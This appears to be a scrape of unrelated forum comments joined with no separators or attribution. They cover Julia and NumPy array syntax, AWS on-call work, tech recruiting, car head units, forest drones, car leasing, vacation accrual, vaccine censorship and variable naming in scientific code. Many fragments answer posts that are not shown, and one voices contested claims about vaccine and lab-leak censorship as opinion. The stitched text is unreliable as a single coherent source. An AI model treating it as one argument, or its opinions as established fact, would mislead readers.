I think this depends upon the language intrinsic support for vectors/vector operations. I would (generally) prefer to specify operations using a simpler, more concise syntax, and have the compiler map that into the hardware. The problem with this is, most compilers don't do such a good job with that.

I like the Matrix/vector operations by default for the reason that it becomes quite a bit simpler to understand the written code. Expressing things the way Numpy forces you to, means that you have to reason about the interface of your code to Numpy, as well as how Numpy will operate.

For matrix mult, I agree, writing out loops is tedious. This is why things like M = A * B, where M, A, B are all matrices, is far, far better than writing out the loop representation. I agree as well, messing up the index ordering is annoying (and I still do this 30+ years onward with Fortran, C, etc.)

Julia makes this stuff easy to trivial. It makes the interface to using this capability easy to trivial. It makes for good overall performance (I rarely run codes only once).
Yep, completely agree. For the project I'm currently doing, it seems like a fairly good fit though. Lots of prototyping different approximations, and needs to be faster than plain numpy.

Also, the jitclass things help somewhat. I use them as plain data containers, to work around the hideously long argument lists that otherwise would be required, but with no methods. jitclass breaks the GPU option, though.
Maybe I'm misunderstanding you but AWS customer's eningeers have less oncall load because the AWS engineers are doing so much of the difficult and failure-prone work.

That's largely what you're buying when paying for cloud services.
Because of keyboards?
It's that subtle view into what your life might become that makes it so much easier to decline to move on. I'll admit, it's probably easier when I already had a job that paid well and I didn't hate...

A recruiter that couldn't keep it professional... that is EXACTLY how I felt! I get that when you work for FAANG, you're used to the stigma your company carries. And you're used to people salivating over the idea of working for you. But there are some of us out here who already make a decent wage, and have been in the business long enough that we don't see having FAANG on our resume as the most important thing. I'm at the phase of life now where I really am interviewing YOU as much as you're interviewing ME. If I don't like what I see, I can walk away.
No it's saying you shouldn't hate the polluting fish in the polluted stream just because other fish are bad too.
> and on the other you have the likes of Linux kernel maintainers

Do you actually think so? I'm actually feeling that compared to other professions domain knowledge and specialization is less valued and searched for, since more companies look for generalists and operate on higher levels of the stack.

My personal experience is I get 99% of linkedin messages for generic "React" or "Java" jobs, where leverage would certainly be low. That is despite having a huge amount of expertise in fundamental technologies that these companies are using (and sometimes even having written the code for those). But those are not the immediate problem for the recruiter and manager, so they usually don't care.
The dollar is still backed by the economy though. It's fundamentally the government's ability to pay down debt from taxes.
I personally think a vector library that allowed some form of Einstein notation [1] would be a killer feature for a scientific computing environment.

They’re very easy to type in Julia’s repl, or any text editor with Julia support.

You just type \mu and then hit the tab button and you get μ. I actually switch over to my Julia REPL all the time when I’m emailing someone and want to type a greek character.

> As long as their database in docker is being incrementally updated (using the same migration scripts as on production which only apply new ones) is this hit only when spinning up a clean docker image?

Yes, but being able to quickly return to a known-good state by trashing the database is still useful because getting migrations right without testing them is hard.

Using named volumes helps because they don't need to be bridged through to the host filesystem.
Well yes, should lol.
I guess my point/question is what types/sizes/percent of organizations this would be feasible.
How many of us work nights/weekends because of lack of strategy & constant fire drills.

How many people have come back from a long weekend to a 4 day week and noticed it's just 5 days of meetings/work rescheduled to fit into 4 days.

I'll always remember the stunned response years ago while moving when my wife picked up my cell phone (my hands weren't free) to what was a production trading outage at my firm.. and said we are off today, we are in the middle of moving, we have no internet or computers plugged in. On a 30 person dev team in a 20K+ person firm and we had cross team direct dev team escalation to my personal cell phone because no one could be bothered following escalation procedures/rotas/call lists/etc.

My fear would generally be taking the 20% pay cut and not really getting 20% less work/time expected.

>if you want to fuse the loops and get gpu/tpu for free

the work being done at JAX is great and Julia shares many of the goals (Julia would even be the pioneer in some cases). The best part is your library doesn't even need numpy/JAX as dependency. Yet your function that works on AbstractArray will work on arrays that live on GPU/TPU, for free. thanks to multi-dispatch, you don't need to write a ton of boiler plate code for interface and inherent some classes from JAX/numpy.

The market for stand alone head units has completely collapsed in the US. This largely comes down to head units in newer cars being tightly integrated with the rest of the vehicle (particularly using non-standard form factors for mounting into the dashboard) and the stock units being "good enough" unless you are deeply into car modding. It would surprise me if even 1% of cars made after the year 2000 (which was 20 years ago, and probably the oldest vehicles anyone would daily drive, at least where I am in the rust belt) had an aftermarket unit installed. From that perspective the age of the head unit is (almost) always equal to the age of the vehicle, with CarPlay and Android Auto not being released until after reverse cameras had already been mandated in new vehicles.
Lehman Brothers and Bear Stearns disintegrating did not bring total collapse to the financial markets. Citadel would be just one institution in a small collection of others. Ordinary investors lose, one or more funds lose. Nothing changes.
I tend to disagree. Asm.js is dying. Webassembly is not "everything on top of JavaScript". While higher layers can work the same as they could with asm.js (still in the web browser), it's not what GB predicted.

I think probably 60-70% of the places I have worked, this sentence " On the occasion there's something that only he can do but he's not in.." would end in "we call his cell".

I was just on a medium-urgent outage the Friday before Memorial Day weekend and 2 teams on the call were calling their on-vacation colleagues for help.
Supply chain companies are usually pretty specialized. Their customers are going to only want chips with the certs. What are you going to do with all those certless real chips? Start manufacturing end user goods? There is high friction and low reward for the fraud you're suggesting.

If there are drones that have the battery life to fly ~15km under the tree canopy without hitting any trees or branches, etc, they would also be a great option.

I think the high end consumer drones have range in this ballpark (eg DJI Mavic 2 Pro can go 18km with no wind).

I’m not sure how much tree avoidance would be a problem, I’ve seen some pretty cool demos of autonomous forest drones.

My intuition is that the robot dogs would be slightly more robust since they can self-right if they stumble, whereas if a drone hits a small obstacle it can pretty easily come tumbling out of the air and get stuck on the ground. I think the dogs could also be made more weatherproof than drones.

I bet drones would be a much better option for lightly forested areas or desert areas, though, where they can generally fly above any obstacles.
That's a good point. You definitely have to dig a little deeper on Aliexpress, my experience has been that AliExpress components/boards generally work fine but you have to dig for things like data sheets unless its a very standard part - which may be an extra friction point for a beginner.

Lease payments aren’t the issue with that strategy, taxes are.

All told I am probably spending about 1/2 or less what you are per decade by swapping leases every 2.5 years vs buying new and keeping it until it’s not worth maintaining. And that’s with buying nice new cars and always getting it repaired at the dealership. Which conversely means you can also drive a nicer model at the same price.
I had an experience at a startup where the team was mostly experienced people who had been at larger companies and didn't tend to cut corners. It was a pretty good balance. We focused on doing the job well but didn't have big company meeting culture, etc.

I wouldn't want to work at a place like you described.
I haven't found it exceedingly hard to find data supportive or critical of vaccination despite the fact that the pro-vaxxers feel morally entitled and even obligated to censor the planet. Where there isn't censorship there is forced editorialization or often both. Such things aren't unusual though and I predicted it before it happened based on the known correlation between disease outbreaks and authoritarianism. Mind that you have to know how to FIND uncensored communities of anti-vax cranks who will gladly shove the most plausible theories they can devise in your face.

The fact that the lab leak hypothesis stopped being a heterodoxy despite long being censored by big social media networks by non-medical professionals pretending that by citing politifact they were proxy medical professionals was shrugged off and censorship didn't even pause. Negative feedback has no effect on the strategy even when it reveals a stunning lack of expertise on the part of the censors. We even saw papers like WaPo just quietly retroactively correcting headlines and continuing to dish out Pinocchio ratings.

I don't find the data to convince me of the anti-vax argument at all, save for potential arguments that there might be an angle to freeride at least short term off other people mitigating covid through vaccination and non-vaccination measures.
Maybe. Reasonable people will look at a motorcycle and know full well they will lose in a collision ... with anything.

Not as easy to make an informed choice about cars. The high incidence of rollovers for SUVs comes to mind. Apparently consumers had no idea that the Ford Bronco (as an example) was as deadly as it was.

I agree, it would be nice if we allowed for relaxed safety on cars as long as they were in their own category — sort of like dune buggies or something so consumers knew the trade-offs they were making.

So my employer has a cap of 240 hours of vacation, and after (I think) 9 years of working there, caps the number of days of vacation to 21. So I accrue 6.5 hours of vacation every two weeks at this point.

My intention (which I'll reach in October) is to get sufficiently close to that 240-hours cap that I will have to take off one day every fortnight to keep under it, for almost every fortnight in the year.

My wife was offered a 9/80 schedule at her job, where she worked 10 hours per day for 9 days, and got the 2nd Friday off. I'm looking forward to my own version, except it'll only be the 8-hour nominal work day...
yeah exactly, an open and federated convention instead of a centralised one, that distributes conscious respect of the underlieing official (centralised, unmodifiable) specifications and limitations of the platform, to not have to be bored by such servile, bad-faith criticisms and encounter web developers who don't even know what xml is for example

What I meant was that Netflix built their platforms and services on top of AWS services, just like AWS teams. Yet AWS teams have brutal oncalls, while Netflix teams enjoy great work-life balance.
I wonder where the line is though, where a sufficiently advanced simulation of this behaviour would actually be enough for some people.
This is indeed a big assumption. We have been able to create new systems from technology but are humans capable of reverse engineer complex biological systems or emulate them effectively is a complete unknown. For example, there are few groups trying to simulate a single cell for decades, and we are still extremely nascent in our ability to do so.

It is possible that there are many facets of reality that are simply outside the comprehension of human brain. In fact, is is likely that most reality is outside our comprehension.
I personally also don't have a problem.

Think however about people who are new to computers, whether adults or kids growing. They find it all confusing.
Naturally evolved strains have happened before, many times (within a rounding error of 100% of pandemics), so that's the default reasonable assumption. It wasn't dishonorable for the villagers to say "there's that boy, crying wolf again, he's probably lying this time too", it was pragmatic.

To draw parallels, an investment banker who goes against the system would likewise not be hired, but rather virtually blackballed. And good luck for whistle blowers in any financial institution.

Also investment bankers have as much autonomy as a client allows them to. And MDs and VPs are as much responsible for their subordinates and client relationships (although not in the same way as teachers are for students).
Average is not the same as mode. 99.9% of people (at least) have more arms than the average for instance.

So yes, theoretically 80% may be better at driving than the average, it is just so that the other 20% are even worse at it.
Such a headline almost reads like a joke. "Is blood the key to a healthy brain?" would also read as funny. Are neurons? Lungs? DNA? I understand the article is insightful but the tragedy of click bait headlines strikes again.

The right name for a variable is related to what you think the way people will check it will be. In most code the attestation to the correctness of the code is the programmer's understanding of the code. Clearly then names should be descriptive. In contrast, when the attestation to the correctness of a formula is that it is the same as a formula printed in a published paper, then it should look as much like the formula in the paper as possible. A programmer who does not know that rho means density will not be able to catch scientific misconceptions by virtue of the fact that they see the word "density." On the other hand, the will be able to catch differences between the symbols in the source material and the source code.

In any code you write, you should be asking, "how will people check this?" If the answer is "by comparing it to something else," then it should resemble the original as much as possible. If the answer is "by thinking about it," then it should be formatted for self-contained comprehensibility. The distinct use cases lead to different best practices.

Open source software dramatically increases the value a for-profit developer can create.
